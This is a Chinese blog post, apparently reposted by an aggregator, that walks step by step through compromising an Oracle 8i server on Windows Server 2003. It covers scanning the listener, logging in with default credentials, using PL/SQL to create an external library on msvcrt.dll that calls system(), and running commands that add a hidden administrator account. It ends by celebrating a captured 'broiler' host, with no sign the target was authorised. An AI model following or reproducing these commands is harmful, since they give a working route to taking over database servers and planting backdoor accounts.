oracle 8i漏洞渗透,一次通过Oracle8i入侵系统之旅(组图)
最近看了些有關Oracle的安全資料,看后隨手做了一個滲透測試,把過程記錄下來方便日后查閱.先用SuperScan4.0掃描下要測試的主機,速度很快,結果如圖1所示:
圖 1
端口 1521 是 Oracle 的 TNS Listener 默認監聽的端口,通過掃描報告還可以看到Oracle的版本為8i.現在還不知道對方的操作系統版本,看到主機還開放了終端服務,直接連上去看下操作系統版本.如圖 2,
圖 2
確定操作系統版本為 Windows Server 2003 企業版。Oracle 10g 之前的版本默認情況下是允許遠程管理TNSListener 的,這臺主機的 Oracle 版本為 8i,我們通過 TNSListenner來收集下更多的詳細信息.如果本地安裝了 Oracle 可以直接調用 Lsnrctl 連接到測試的主機,如圖 3所示:
圖 3
通過輸入"status "命令我們可以得到 oracle詳細版本(8.1.70.0),操作系統(Windows),跟蹤級別為OFF(說明沒 有開啟審核),安全性為 OFF(說明沒有設置Listener 口令),日志文件的絕對路徑(判斷 Oracle安裝路徑),數據庫的 SID(ccdr).
要遠程管理 Oracle, 需要知道 IP,數據庫的 SID,和連接的用戶名和密碼.IP 和 SID我們已經知道了.接下來用oscanner 工具掃描下要測試主機是否存在默認的密碼.如圖 4 所示.
圖 4
看來管理員安裝完 Oracle8i 后就沒有進行進一步的安全配置 , 所有的用戶名密碼都是默的.在Oracle中,SYS/SYSTEM 都是具有 DBA 權限的帳戶,我這里選擇使用 SYSTEM/MA NAGER來連接數據庫.
在本地用 Sqlplus 連接到目標 Oracle 數據庫,命令為:
SqlPlussystem/manager@//victimip:1521/ccdr
連接成功后,可以通過 PL/SQL 來運行 OS 命令,首先需要創建庫來定位msvcrt.dll文件.這里需要使用完整的路徑,通過剛才對主機的查點我們已經知道操作系統為 win2003, 如果系統安裝到 C盤的話 , 那msvcrt.dll默認路徑就為c:\windows\system32\msvcrt.dll.創建庫的命令如下:
CREATEORREPLACELIBRARYexec_shellAS"c:\windows\system32\msvcrt.dll";
接下來寫一個過程來調用 msvcrt.dll 里的 system()函數.命令如下:
CREATEORREPLACEPACKAGEoracmdIS
PROCEDUREexec(cmdstringINCHAR);
endoracmd;
/
CREATEOREREPLACEPACKAGEBODYoracmdIS
PROCEDUREexec(cmdstringINCHAR)
ISEXTERNAL
NAME"system"
LIBRARYexec_shell
LANGUAGEC;
endoracmd;
/
創建完后,就可以運行 OS 命令了.由于主機已經開放了終端服務,所以我這里添加個管理員,然后連接服務器.命令如下:
execoracmd.exec("netusermickeyimissyou/add");
execoracmd.exec("netlocalgroupadministratorsmickey/add");
帳戶創建完成后,如圖 5,就可以連接終端服務了,一臺肉雞到手了.:-)
圖 5
總結
以上是生活随笔為你收集整理的oracle 8i漏洞渗透,一次通过Oracle8i入侵系统之旅(组图)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Python数模笔记-模拟退火算法(2)
- 下一篇: 【OpenCV 例程200篇】61. 导